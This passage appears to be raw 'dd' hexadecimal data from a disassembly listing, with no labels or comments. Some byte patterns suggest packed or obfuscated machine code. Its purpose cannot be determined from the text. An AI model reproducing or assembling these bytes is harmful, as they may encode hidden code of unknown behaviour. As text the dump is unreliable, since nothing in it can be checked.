842CBE51h, 848C665Eh, 0FFA767E0h dd 33A9812Dh, 883C25F5h, 0FAAA52E4h, 1BC355ACh, 0E8BE7EF7h dd 0D3E0A019h, 14A1183Ch, 1BAD5454h, 79F4F73h, 0BD426525h dd 0F5334921h, 8428DC25h, 71C881Dh, 809F35F0h, 7DDh, 0EB629F0Dh dd 0A817E27h, 269D6446h, 41B84762h, 61D8297Dh, 54525B15h dd 417236ADh, 159357CEh, 0F6B175ECh, 50C99209h, 0AEB5CCA4h dd 0B4275F19h, 29A06145h, 46BD4265h, 9D6245CFh, 0AF50570Bh dd 2480938h, 0A2920000h, 0DB870095h, 15F08E7Eh, 0EE6921Bh dd 6125F2CEh, 0F2CDDDB5h, 83BC7025h, 0F9992BCFh, 25F2CE25h dd 5A4E0E8Bh, 496D15A7h, 6E2B10CEh, 7F097468h, 1F5h, 0EDBC7C0Ch dd 0B4D88012h, 0D3A14118h, 0A7BBC1Fh, 44BD61A0h, 0F6447B98h dd 0EB641815h, 0C837C2Bh, 0EA05F48h, 940D80B7h, 0FED6820Bh dd 1A25F883h, 883C758Ch, 838B630Fh, 6A1E25F8h, 8D85AA46h dd 7E321C15h, 6567A017h, 708F25FAh, 711h, 1F966B41h, 3EB54A5Bh dd 5AD1307Ah, 75EC1396h, 950CF5B1h, 20868F49h, 0DA66AE1h dd 0E1C78B02h, 0C2E5A920h, 84FDC63Dh, 0AEB500D8h, 0E85B9319h dd 4373467Ch, 7C567C07h, 0FFA858h, 12EDBA6Eh, 8C641099h dd 1F1FD38Ah, 31B5476Bh, 0AEF928B6h, 6930DA51h, 84F094ABh dd 149h, 956A3BFBh, 62450E71h, 50570B9Dh, 66D138AFh, 0E9FEAA23h dd 7615F0A9h, 0F3B330C2h, 15BD4FC0h, 0A918F09Ch, 0F7AB25F2h dd 0A86337D3h, 4AC925F2h, 41D2A794h, 20FB0974h, 88000000h dd 870095A2h, 0F08136DBh, 9D2FE315h, 0F2C229FDh, 0CE108F25h dd 745C2C6Dh, 0CFC109h, 7C4E0000h, 916EE546h, 698D6F8Fh dd 7F11EEB9h, 0C851DBCBh, 0D372441Ch, 8723D71Fh, 1FD372AFh dd 58EA8E42h, 0EEF9A5DBh, 0F1A27A26h, 81351FD2h, 0FE00FE5Bh dd 827D2ADAh, 946B3CF0h, 0D3C06D1Dh, 0E1C61FD3h, 0F740A71Eh dd 886D1992h, 3515F540h, 5E480881h, 0DF9F2CA3h, 1A93BD4h dd 88792DDDh, 753A021h, 708F25F0h, 5F1h, 0FF768B21h, 1E956A3Bh dd 3AB1505Ah, 55CC3376h, 75EC1591h, 40666F29h, 2D864AC1h dd 1A76BE2h, 0E2C58900h, 64DDA61Dh, 0AEB3E0B8h, 0C83B7319h dd 921E6145h, 0F96B162Dh, 1E54CD71h, 1428FA8Ch, 8600261Ah dd 0A1CE220h, 3BFF769Ah, 4557116Ch, 258DA3D3h, 46EE8081h dd 4F85FEA2h, 8EA9FAADh, 138AAE1Eh, 9D62459Ch, 1B588E0Bh dd 86EA1F42h, 693EEE12h, 6DE71D96h, 42BB091Dh, 77A61D41h dd 1Eh, 9D624500h, 0AF50570Bh, 5A84131Dh, 9613E0C7h, 8323D769h dd 0BF36DA7Eh, 2C90h, 62451900h, 57E91691h, 0D12E89AFh dd 0D773D54Ch, 6424A133h, 847C3D42h, 0F7B1F1FEh, 0F519C153h dd 0D31C8459h, 30AE291Fh, 0D249B6F1h, 0F7BC7C5Bh, 6344F418h dd 0A1431BC7h, 22D61FD3h, 0A295EC7Eh, 1FCA76EFh, 9C15F644h dd 5A3FDE66h, 61054BE7h, 807F28E8h, 9D624509h dd 283B40Bh, 0A45B4EA5h, 0A0C66E00h, 5A96AC12h, 43BC6074h dd 1B0D4797h, 9D16CA1Ch, 0A436CBDDh, 0D65FD8FCh, 2BC88FA0h dd 1F436C05h, 4EC7386Fh, 6DE6198Eh, 1D50E9C1h, 0A4C87C2Ch dd 0C13E692Dh, 2A5FD82Fh, 305005B1h, 54DD223Ah, 3C70D0A8h dd 9A737632h, 0B8DC4007h, 0C027CB7Fh, 0E44EE9CFh, 920524BAh dd 0C2000004h, 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h dd 0CA168D74h, 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h dd 5F0B844Dh, 19AEB287h, 7C6FE21Ah, 8416E9BCh, 9729D8D0h dd 77274BEFh, 9656CF30h, 55CCF00Fh, 57E91691h, 0CDA551DAh dd 601FD3A1h, 0CFD888ACh, 0DA7E8124h, 0FC05A161h, 0C9EC26Ah dd 1EB04F58h, 30C23D6Ah, 6EBF1F9Eh, 0B66B73EEh, 0ED970EF1h dd 0F094BCACh, 2941h, 0BC7CCE00h, 0A1F418F7h, 0CE7AF396h dd 15F0F08Ah, 48088135h, 7A2AA160h, 25F2EFA8h, 9D14EBBCh dd 0A032CFD9h, 3EC81h, 62450A00h, 4F64249Dh, 62862EC0h dd 1ECA53D0h, 1FD3A146h, 510125D9h, 0CB32A956h, 27B0296Ch dd 0D3A1A37Bh, 2F76361Fh, 8F082CD0h, 0F0A9CEE3h, 15A75B15h dd 0F2A8A175h, 56880725h, 744194E5h, 4C3909h, 0A2C60000h dd 43B2F495h, 650D9F70h, 0E3872FC1h, 8119BE6Ah, 12C615F0h dd 34CDD999h, 48B7EEA2h, 466A0EB6h, 0C14014B4h, 535425F2h dd 83F01AACh, 6201C76Eh, 22DFC777h, 33CEDC90h, 0BA736BF6h dd 3A01DD5Ch, 974857Fh, 1088Eh, 62451B00h, 27EE249Dh, 4E13233Ch dd 0EE6BFD21h, 28E76B8h, 8C1E1952h, 0C01D28EBh, 0A7577B1Fh dd 0BC7002FFh, 0CE8214EBh, 748B1AD9h, 0DCA959D0h, 191FD2BEh dd 8FB34C59h, 0C037C8DFh, 0C254ABFCh, 0DE238545h, 0BDD067BAh dd 0D36F9844h, 24E415EFh, 5FD67A85h, 6C3E3FF8h, 345FA613h dd 8226C7D4h, 0DEB965DEh, 3B1C135Ah, 0B785BB05h, 37E3C1A0h dd 2C13105Fh, 769A3EF2h, 5010893Dh, 49A0D656h, 0F719F105h dd 0EB6F47E3h, 1A8B2C12h, 72AB53E5h, 690DF4B2h, 0F2164CC5h dd 812986DBh, 7034ABCFh, 0D964CB36h, 54FA1977h, 2AF9FBEh dd 0CDDF0000h, 0ACF9BD34h, 9218DC53h, 7534F86Fh, 574F138Ah dd 2DE733AAh, 0C837E28h, 2DA46B48h, 4BC23F69h, 68DF2087h dd 0A27A269Fh, 3519AEB0h, 0BC7C8AFDh, 0DE8618F7h, 659C0ABAh dd 827D2AEEh, 0FCD48009h, 8F1FD3A1h, 0B340B7DBh, 0CC72437Dh dd 0D36F4820h, 127DB1Fh, 4D71758Bh, 95A2EAh, 8136DB87h dd 2FE315F0h, 0C229FD9Dh, 108F25F2h, 0E0CA8ACEh, 1267FD21h dd 0BB09745Ch, 0CEh, 9D624548h, 0B24F570Bh, 0A5B38020h dd 0EEB91FD3h, 0D1D69A11h, 0F2459C2Eh, 2D8F94CAh, 48E7480Bh dd 0D3E9D4ACh, 32DE671Fh, 1FD3E95Ah, 0F19539EDh, 0FEA3CC78h dd 641815F0h, 867B2BEBh, 0B384EB62h, 79B965DEh, 0DC1C146Bh dd 0E3758C1Ch, 55DE173Bh, 14AAD1A9h, 0CB0642Ch, 22D3D393h dd 44EC7E91h, 49ED1494h, 0E7980ED2h, 0E92CAF0Eh, 0E047EBD8h dd 0FA67D643h, 0B61130C6h, 0E6000001h, 0C43BC6h, 1FE35AA5h dd 3BFF768Bh, 561A916Eh, 0EE3AB150h, 8C753134h, 0AD625115h dd 0CB367236h, 0E8179054h, 832FA871h, 19AEAFABh, 7C93063Eh dd 8012EDBCh, 0E9C2B2D8h, 0A58EA78Eh, 2CD5D181h, 4FC0F3B3h dd 0B7F0B42Bh, 8444D148h, 0A048DA25h, 6245197Ch, 5AEC1591h dd 59A802B2h, 386F23B5h, 19C54EC7h, 1FD3A141h, 397020D4h dd 672BA2C6h, 0D62DBF40h, 7B32C61h, 15F08B66h, 33C5570Bh dd 0B0F72AB4h, 0C671D84Fh, 559E4AC3h, 8A1C0FD2h, 24DBCAh dd 0CD8113C7h, 23AC25DAh, 11D19F77h, 5A7E322Ch, 6D9414C8h dd 808127DBh, 0F9646EEh, 0AE40CFE4h, 4CD06206h, 1A200DD1h dd 0C2B538Bh, 1B641089h, 50222ED8h, 0D6431BC7h, 22D63230h dd 9A11C5FEh, 9C2ED1D6h, 0AF41C0E8h, 18409E1Dh, 0D70BE38Fh dd 0DE9E3230h, 0A83AD5h, 1F88385Ch, 32DE67E0h, 3230D65Ah dd 3ED02F76h, 85A95D96h, 0FD90A70Eh, 0C137D884h, 28DC284Dh dd 3AC5E296h, 0B48C38C1h, 0D0385001h, 0EC9426D9h, 49DBFFB3h dd 0D8A638B7h, 5B12A5Fh, 2E6CEC64h, 77DE5509h, 1CE5C1C0h dd 0A053FF78h, 2D3491CEh, 30CA0079h, 0A5C62C38h, 0D14EE004h dd 0DC93C89Bh, 0FEA638D7h, 0D2AAC8D8h, 4AA9FEAEh, 0E610A25Dh dd 0E5C9BAADh, 0CF73179Dh, 0EC139458h, 8C1DDD5Ah, 7B2DE173h dd 22BEE286h, 0EBB81D00h, 928F4FDEh, 3B71EA15h, 84E31A07h dd 9910343Bh, 0FFD7830Ch, 927BB826h, 9D0ABADEh, 5A35256h dd 1EC658FCh, 7534E87Ah, 0E766F88Ah, 827D2AF7h, 9F60470Bh dd 3EE0Dh, 0A7770000h, 9A674540h, 0AC535408h, 0BF42661Ah dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh dd 34CBDA8Eh, 296886A2h, 89000026h, 0EC81240Ch, 4, 68240C89h dd 136Bh, 52243C89h, 3A0AB951h, 0E9815039h, 6F5677AEh dd 16B6C181h, 0F1810E3Ch, 0C2875D4h, 5AE8E981h, 0C1817752h dd 352F2232h, 4E45E981h, 0CA894D5Bh, 81424259h, 0C53619CAh dd 0E5C28112h, 89B227AAh, 8B545AD1h, 0C483243Ch, 0CA895204h dd 8478F52h, 2434FF5Ah, 4C4815Fh, 0FF000000h, 81592434h dd 4C4h, 88C8E900h, 0C10FFFFAh, 452290E1h, 72B2DFB6h, 24F43AB8h dd 0FFC50306h, 18601E0h, 3150CC44h, 78978A29h, 8AD6413Eh dd 3ED98525h, 0EE809h, 1E890000h, 0B60FAA4Eh, 0ECAA2D61h dd 0A8F05199h, 0BE8h, 5C911200h, 45A02B46h, 8818D50Ch dd 0CE9h, 0FF3D9600h, 0DFDCBA7h, 0B5802022h, 665A5B78h dd 924FC381h, 73F5C281h, 8A0F0000h, 3, 33CEBF0Fh, 75E580C0h dd 661034FFh, 0E95FF28Bh, 10h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah dd 1F990281h, 0C798EF81h, 880F5009h, 3, 81CABF0Fh, 28B0B1EFh dd 0EE966h, 6CFC0000h, 0D49AE719h, 33B05346h, 0B02BB609h dd 72DEEF81h, 5E90178h, 7000000h, 204CE9E0h, 66023C89h dd 8BDBA2B9h, 0D1E881F1h, 815BAF5Eh, 0AF5ECDC0h, 18E0F5Bh dd 0F5000000h, 8CD4F881h, 850FFFFFh, 0FFFFFF84h, 18A0Fh dd 0EBF80000h, 9E7D0079h, 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh dd 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h dd 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah dd 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h dd 594ACC48h, 713C33h, 57DB4D52h, 0B7D65EF3h, 0F600B79Bh dd 8995ABAFh, 56F0009Fh, 0B3D7C771h, 711800BEh, 0ADC4D756h dd 0E98173E2h, 0DCE93EABh, 6800000Eh, 624F7C1h, 0FA8745E9h dd 0F8C668FFh, 3BE90624h, 68FFFA87h, 624F993h, 0FA8731E9h dd 0FAC768FFh, 27E90624h, 68FFFA87h, 624FB5Dh, 0FA871DE9h dd 0FC0268FFh, 13E90624h, 68FFFA87h, 624FCE6h, 0FA8709E9h dd 0FD7868FFh, 0FFE90624h, 68FFFA86h, 624FE42h, 0FA86F5E9h dd 0FF0768FFh, 0EBE90624h, 68FFFA86h, 6250089h, 0FA86E1E9h dd 2B568FFh, 0D7E90625h, 68FFFA86h, 6250396h, 0FA86CDE9h dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h dd 0AB5129D5h, 0ACE419AEh, 0C8624539h, 0D3A1441Ch, 0CD32EA1Fh dd 4A110C2Eh, 0AA575111h, 1CD06206h, 0BE41688Bh, 8D16A31Ah dd 0D2B809E1h, 0C4E89C1Fh, 0F0B7C671h, 46F26B0Fh, 15EFBF31h dd 0D8780ABEh dd 25F1BF04h, 48F3EB6Ah, 9755B71h, 259Ch, 0BC7C2900h, 0A0F317EAh dd 0CD79F297h, 15F08128h, 0EF8F21D5h, 25F2C21Bh, 5FDC0281h dd 9745C1Ah, 0BAB3h, 0BC7C4000h, 0DA8214EBh, 5EA106B6h dd 678E18CCh, 832BBD42h, 0E994DDFh, 0AB3DC2E5h, 19CD5F03h dd 6DFA718Eh, 0E206FBADh, 0D3A57946h, 0D7287F1Fh, 0F40B9C60h dd 8E25E562h, 2D0A5D81h, 24B6495Ch, 0B35FD87Ch, 15F0B63Ah dd 3DA41BCFh, 721E97FAh, 1C14263Ah, 17A019CDh, 1CAE5357h dd 6A05074h, 0E6C084FBh, 59A4B41Bh, 891FFA66h, 0CA26Ah dd 0D9288400h, 0F8079E62h, 14EDBD81h, 2FD0D99Dh, 4FB2F4B8h dd 0CBD28CD8h, 0EBAF26DBh, 0CD047C8h, 2AEE659Ch, 420B827Dh dd 0AA451DC9h, 0A0D819AEh, 0A061452Dh, 0BD426529h, 85EA0E44h dd 4F1A896Eh, 0D5F9069Fh, 9411D15Eh, 7CE4476Bh, 0A16F47F3h dd 1C8B1FD3h, 0D2F6AAE3h, 5CD5B87Fh, 0F0810BB0h, 0F0B87815h dd 0DCCB7F11h, 225B7F23h, 683CDC6Eh, 0CE25F2C0h, 0EDAC8F4Fh dd 9745Dh, 0DEh, 9162458Dh, 0B648EC15h, 4B5D0339h, 0E51FD719h dd 3FC7BBBFh, 0BEE2DC9Ah, 0D769980Eh, 0D2C36A37h, 0C837701Fh dd 0E51A8D51h, 563BFC53h, 0D3B831DDh, 994D15EFh, 0BA456020h dd 7FB81F96h, 0D208910Ah, 0E1856689h, 0BFFF912Dh, 46E4D7FDh dd 0D134D0F4h, 7E1C1396h, 0D57149F5h, 50042C13h, 337333ACh dd 0DE1F55CEh, 6CB05C44h, 0BFFE3BB0h, 781C90DCh, 9050DD54h dd 15C5E918h, 0EF097091h, 6AFA66C9h, 0B9DB5D4h, 2D7F0000h dd 0C995DD4h, 0F2B87CF3h, 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah dd 0AC23DEC8h, 0CD44CBE8h, 0EB629F09h, 87F8027h, 421AC63Fh dd 0D519AEA9h, 61452A9Dh, 0D7F127A0h, 1C0C9362h, 0E471E80Ch dd 438387AEh, 22876665h, 651539DDh, 0B946BD42h, 79AC8430h dd 8B3F1FD3h, 62450467h, 50570B9Dh, 1AD36AFh, 1FD3A229h dd 0AF8733BCh, 421FD3A1h, 4FC6EA8Eh, 50E21F8Bh, 7DF40B9Ch dd 81B6165Fh, 2EE7930Ch, 0C315F082h, 7DC7C0Fh, 7A0D7CB4h dd 0B35FD8BDh, 1399DF66h, 39C6E3A3h, 9628DC15h, 1C95F83Fh dd 0BE590D70h, 0ACFABA19h, 97FCD480h, 0DB8F29BEh, 0E32C8737h dd 8C05A951h, 0AD24DBCCh, 0DA41BEE9h, 0FFCC6C0Ah, 0D07C9B31h dd 0B200000Ah, 0CC9007FAh, 0EBAF26D9h, 7CB42BFh, 22E65DA2h dd 0BA067D84h, 58A9FD00h, 79961DE1h, 976A3E02h, 0B44B5C20h dd 4FFB743Dh, 19AEA877h, 455FD20Ah, 64249D62h, 496BA45h dd 0ABFB8AADh, 339B256h, 575A1A1Ch, 0B831552Dh, 0F01E7F0Ch dd 0D148FC15h, 0E9BCCD6Ah, 38DC8416h, 286E13BFh, 5B1B1C0Fh dd 7921B34Ch, 0CFA343D5h, 0E32C1128h, 0F5A93BC4h, 80BF51BEh dd 0E240EDF1h, 0F9C07B63h, 340356C5h, 3527FFABh, 84BA2C11h dd 0AE3D2A3Dh, 62ACE93h, 3F6Dh, 95A2FA00h, 97DB8700h, 4215F0F0h dd 0CC8C158Eh, 0AC25DCh, 25F2F028h, 33E307BBh, 65158C75h dd 25F2EF93h, 88FF00A7h, 0A41DE4C4h, 0C67F826Eh, 0ED117FEBh dd 8A1EDE5Bh, 0FC385377h, 0C1000009h, 870095A2h, 0F65829DBh dd 8700B415h, 0A61FE0C7h, 0E584A70h, 0FD21351Bh, 45E5C286h dd 9B3810BCh, 17CB25F8h, 0F89BA37Bh, 0DE823625h, 4F42F54Ch dd 52212AD6h, 0E2961C1Bh, 7FFEA969h, 8816D050h, 73EA8EC2h dd 7507F8AFh, 0FB74191Eh, 39DE9A4Fh, 0C732722h, 0E44EE5EEh dd 9CA4C359h, 7E000009h, 985CD32Eh, 0B77BF20Dh, 0D3970EF3h dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh, 639E0ACEh dd 807F28ECh, 1BC74009h, 19AEA743h, 7C2B9ED6h, 39B7746h dd 0FFA8A544h, 9C385C00h, 1FD389C8h, 287FFE39h, 0EBA33D7h dd 15F63FFDh, 350DB942h, 0C825F87Eh, 3B7F014h, 6741018Ah dd 0E1C6769Ah, 701CA51Eh, 25F87E98h, 0DC53772Bh, 0DE708F18h dd 64DDB087h, 15892BB8h, 0FDA8681Ch, 44467002h, 35C83022h dd 114A6E12h, 931AF65Dh, 0A339FA65h, 90684h, 3DC4E800h dd 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch, 2F36F03Ch dd 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h, 0A6A9812Dh dd 43C19AEh, 1B624591h, 5C0FC593h, 0A75A5034h, 50CD5F03h dd 5AEC2390h, 0C9DE8EB2h, 0E873A436h, 4E7445F6h, 2C99F094h dd 26000004h, 870095A2h, 0F91DE2C7h, 58B7D480h, 0A05415F6h dd 74689E27h, 709A041Eh, 23843458h, 6A165DCh, 0F3C767F9h dd 6425F856h, 0F45BED3h, 0BD92CA14h, 1E97BBECh, 14FDE572h dd 5162221Ch, 60842CBEh, 0BA0C7327h, 45FA65C2h, 86190AFh dd 69430000h, 485D2198h, 2E7C40B7h, 11985CD3h, 0F3B377EEh dd 914B970Eh, 70E71A8Ch, 910807ACh, 0AF26DBCDh, 0CC43BCEBh dd 6DE8A03h, 9919AEA6h, 0F37CEE61h, 0D3A16F47h, 2A4E021Fh dd 59D22D7Ah, 62F40D99h, 500496BAh, 0A62FA857h, 0D3A222FAh dd 0DD01B51Fh, 0D1911A4Bh, 8A0529D6h, 65440454h, 0A14119C5h dd 20D41FD3h, 0F1C0EA7Ch, 0DA4B79ABh, 33C9ED91h, 0F0946466h dd 36287h, 0B6C8FE00h, 0F9C5425Ah, 0DB248333h, 855954B7h dd 0F61FD3A1h, 9A654041h, 0B042BDEAh, 2BEB6408h, 73F0827Fh dd 0D3A1EFC7h, 2ACE821Fh, 43D52C7Ah, 52FE779Bh, 15F65783h dd 1BDB5408h, 38FC738Ch, 0D221846Fh, 0F29A2CD3h, 0C118AA4Eh dd 63AC0776h, 0C8529D1h, 15A1D360h, 1790501Ch, 11DD44E8h dd 0CFA6566h, 77D5776h, 4D5F0000h, 2C793DB4h, 12985CD3h dd 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h, 0AD24EBC8h dd 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AEA6h, 62450A7Dh dd 50570B9Dh, 61EC1DAFh, 6BA5DB7Dh, 217A0767h, 0F1C85E82h dd 1CF09454h, 2ABh, 0A18559A9h, 10D01FD3h, 2ED66897h, 0D80B70Ah dd 2DD4D494h, 56CFF39Bh, 0F657CEAAh, 0FDA96915h, 26CA7204h dd 45BAEDADh, 629D0ACEh, 0CBBE79D0h, 0A181A652h, 7A2E1C15h dd 6567DD13h, 83A238FAh, 6EBh, 0AB22DFCDh, 0CA41BEE7h dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh dd 5553178Eh, 367135ACh, 108952C9h, 0AEA48C64h, 74E71F19h dd 0B9D6245h, 572D5057h, 9A611373h, 19E6BF6Fh, 0E45FE375h dd 7F8027FAh, 9C634606h, 0C73E620Ah, 94205C1Dh, 0F71F0h dd 28E80000h, 0D6CF7F82h, 0DAA20529h, 1FFh, 0A1835963h dd 3BFC1FD3h, 4E31DD56h, 0BB15F657h, 0E8D0AFFBh, 6F5A7042h dd 0C26AFCA0h, 38B1659Eh, 4FFB2F78h, 25F85277h, 5CEE1393h dd 0A1C77BB4h, 0FF7EEFFCh, 0E259FD91h, 0E476891Eh, 5A32DE67h dd 0ED25F7F4h, 75C21539h, 0CCE7A720h, 0FAA61F43h, 1C14FED5h dd 0C367CE82h, 82FA65C2h, 621CDECh, 0A9030000h, 881DE158h dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h, 5919AEA3h dd 6245AE21h, 50570B9Dh, 1E991DAFh, 0D1D898C0h, 0D0F49C2Eh dd 396C8720h, 0E9A922C6h, 0A81F43BCh, 94BCBBFEh, 752F0h dd 0DADF0000h, 13Fh, 0A1825963h, 4ED71FD3h, 0D3A1CAA2h dd 28D45D1Fh, 1FD3A150h, 678B2FE3h, 0F56E2314h, 5F37E36Ch dd 0F21FD3A1h, 0A1CAA23Eh, 0A95D1FD3h, 0B6600C85h, 0F115F657h dd 2FDA868h, 542CC870h, 0E725F897h, 0DF838C27h, 55CE82BBh dd 76ED1295h, 780AF5B2h, 0FA731621h, 15A1294Eh, 0BB22D61Ch dd 0FA656711h, 5C1736CCh, 3E000005h, 581C936Eh, 773BB24Dh dd 9357CE33h, 0AE72E916h, 469209F8h dd 0E41D898Ch, 50AA96Dh, 23DECA8Eh, 40BFE8ACh, 0DB8700C9h dd 19AEA303h, 45EB5E96h, 570B9D62h, 46732D50h, 478181EFh dd 61F31C97h, 0DC9C15B9h, 0FEA638D7h, 149448DAh, 0FFA75BEDh dd 71EC7002h, 0C540C06Dh, 267F3F19h, 827F29D9h, 0FAF9AE5Eh dd 19C153AEh, 554FE75h, 0C8F094F1h, 0DD89A108h, 1FD36105h dd 0AE40E498h, 60AD8531h, 8C401FD3h, 72BC4E8h, 0B8000000h dd 46DAh, 0BC7C6300h, 578113EEh, 6C13EC07h, 0A4C86CCDh dd 6A40B3F4h, 0B95D0597h, 0BF347327h, 88517E8h, 0D2D4845Ch dd 0BF63171Fh, 0F07F891Bh, 8B7433EEh, 3BE514h, 22580000h dd 0EC4D0BA1h, 16CAF055h, 97E112B0h, 4568CBEFh, 441CC862h dd 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h, 2FCF6105h, 1FD3A15Ah dd 0FE5A84FFh, 0F066BC8h, 9EC276BAh, 0CF46B9EEh, 9D624558h dd 0D9CE8E0Bh, 88AF0226h, 57038C05h, 1FD3A17Fh, 0F8AE5E12h dd 0ABCF7709h, 9720A932h, 0D3A213EBh, 56F2A61Fh, 1FD3A17Eh dd 9D395D11h, 15F657EBh, 0DF4B676h, 0B62FD37Bh, 7142B1F6h dd 0BF83FA9Eh, 2E8517E8h, 5F0B8409h, 1C1B4E56h, 0DE9E17CBh dd 0DDB561C9h, 702C1D8Dh, 0DDA118BCh, 4CA335CAh, 0A42DA6EBh dd 0A93BC6E4h, 8C41DD01h, 19223A6Ch, 935EFE65h, 6F05E44Fh dd 3DA50h, 11F0BC00h, 30CFD69Ah, 4CB5F5B9h, 679811D5h dd 877A2CF0h, 30AC410h, 23E75EA3h, 44087F90h, 62269D64h dd 7A43BA45h, 0A17D5501h, 0D81019AEh, 9D624565h, 0BA456226h dd 0CC337428h, 461ECA53h, 0D91FD3A1h, 0DE709119h, 0DC6E9236h dd 871FDF58h, 0BF6BE87Ah, 1FD3A1E7h, 0FC22C67Ah, 4D25796h dd 0F36E92FCh, 8E7136EBh, 32C6D17h, 21E1F094h, 0BD567A87h dd 3Dh, 95A24Ah, 7A52FE87h, 961FD3A1h, 0B25AEC13h, 8BDD4379h dd 0A7C69599h, 0BA66DF03h, 15F05876h, 0B8496121h, 0CDDB9B14h dd 3B0DBD34h, 4F25F257h, 6C30A758h, 1433C53Ch, 327h, 0F495A29Dh dd 11B94BB6h, 7748F46Dh, 0FC15F0A7h, 0F498773Ch, 6F9AE62h dd 1CF3C074h, 2ED1D68Ah, 10CE5D9Ch, 5688171Dh, 17A0F28h dd 0FAD8455h, 0DE55091Ch, 4CF8C077h, 2C11AD74h, 36AF5307h dd 2EB3B98Ah, 0F88A3E22h, 0D9F6244h, 76E2FC7Bh, 0EE12FDB6h dd 76779C9Bh, 42BC04D1h, 75219A3Eh, 284E4BA4h, 0C0416929h dd 8F18A51Ch, 4B825A06h, 61153850h, 504BEDC5h, 614A8038h dd 48F3DDF3h, 28D44DF1h, 38503350h, 5B0B2FE3h, 6D21B34Ch dd 14EDB93Ah, 0A592F970h, 65EE77F0h, 5033E1B9h, 0C03E7438h dd 0E184A445h, 52EE12B6h, 2E6CD83Dh, 0E48416CAh, 3E6ED810h dd 0ED7F8224h, 926F39h, 83AA34BFh, 338A625h, 11F072B6h dd 2C57h, 95A2E400h, 36DB8700h, 0E315F081h, 29FD9D2Fh dd 3D25F2C2h, 52069869h, 101AAC53h, 72D05D81h, 950EBF3h dd 0A409745Ch, 0C6h, 18467C31h, 5C93DCCAh, 6A3DED11h, 574F0395h dd 0FCA831AAh, 1FD38224h, 0DE8A03B7h, 1FD38206h, 2FC1E599h dd 41D32C7Bh, 6EE51A8Dh, 0D4AC58E1h, 671FD381h, 26F38FB3h dd 2C1FD386h, 490D847Bh, 0B80FA15Eh, 0E5910A7Fh, 15F09ABCh dd 7B047D31h, 0F299F7CFh, 0B2D68A25h, 2263D43Bh, 44EC7E91h dd 0A07B27A0h, 3D1C1409h, 56501089h, 367034ABh, 3E2664CBh dd 0CB61FA66h, 1AEACh, 0E51C9000h, 4FBAA6Eh, 20E1C98Dh dd 3BC4E5A9h, 5BA600C4h, 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh dd 36FA7190h, 4E178E71h, 9F5129D5h, 0ACE419AEh, 0A0614539h dd 0BF406727h, 0EA61852Dh, 57E8126h, 6487E6CFh, 294D3CAFh dd 95A23BB2h, 36DB8700h, 0A315F081h, 1B3FD0E3h, 0CA4ACE2h dd 0CCF9AE24h, 59199628h, 0F28EB24Fh, 25F2E11Eh, 62D90584h dd 9747D17h, 0F2E6A0D6h, 1B91DD82h, 0AB5EF7h, 15D50000h dd 0EA4D719Eh, 22916245h, 3B749EDh, 2CCC5EA3h, 1FD3A55Fh dd 46BD4265h, 48DA2582h, 0CA4346F1h, 0F0B9F51Eh, 3FB66A15h dd 4DB4F2B2h, 2C61D629h, 25C707B3h, 0A12A1C14h, 14651DF5h dd 8F70392Ch, 5C1C55FDh, 0EA0EB24Dh, 0C484FDB1h, 0E4A81FE2h dd 48D83FC2h, 0CBFA665Bh, 0CD1635h, 0FDAF0000h, 0DCC98D04h dd 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah, 0DC53AEF8h dd 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh, 519AE9Eh dd 61455ACDh, 426529A0h, 0FBB44BDh, 1FD3A137h, 0A206DE8Ah dd 0E5991FD3h, 5DD4F8ACh, 47F37CE6h, 1FD3A16Fh, 7A2A4E02h dd 78D9502Dh, 922E6A61h, 0FFA85CEEh, 73FC8900h, 0D393EFC7h dd 0E4C2821Fh, 3FE38B1Dh, 55E7188Fh, 13689ADh, 548A138Ch dd 9B89A289h, 0A13D61A2h, 15F646E7h, 0BF3CCE82h, 0C1D2B989h dd 7094F068h, 0A118E7C0h, 0A335CADDh, 6497FE03h, 8F4FDEC6h dd 69151592h, 5E86D791h, 55CC7024h, 57E91691h, 67F906A3h dd 998856D5h, 0B67AF10Eh, 5D7C0EF1h, 3, 4540A7E6h, 54089A67h dd 661AAC53h, 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h dd 0C97D0FF0h, 0DA8E20E1h, 86A234CBh, 0A6768h, 48F5400h dd 24048124h, 4, 245E68h, 240C8900h, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 57241C89h, 27293868h, 0CF815F29h, 60C26605h dd 7888EF81h, 895063C2h, 58C189F8h, 1C8B545Fh, 4C48124h dd 51000000h, 8B242C81h, 8F64CA7Dh, 43810843h, 0CA7D8B08h dd 2434FF64h, 4C4815Bh, 0FF000000h, 81592434h, 4C4h, 7880E900h dd 913CFFFAh, 0C40B3646h, 0C8D8CABh, 0B861211Dh, 6250488h dd 0E0FFC503h, 1BBD289Eh, 64BB095Ah, 6CA3A3Dh, 46214B9Bh dd 18CBA78Dh, 7DCF131h, 58D46448h, 6860E8F9h, 4E0C26A2h dd 65C47CA3h, 2080D4Fh, 174567A1h, 2CF0512Dh, 4F794AEAh dd 0BB774C3h, 3F57C163h, 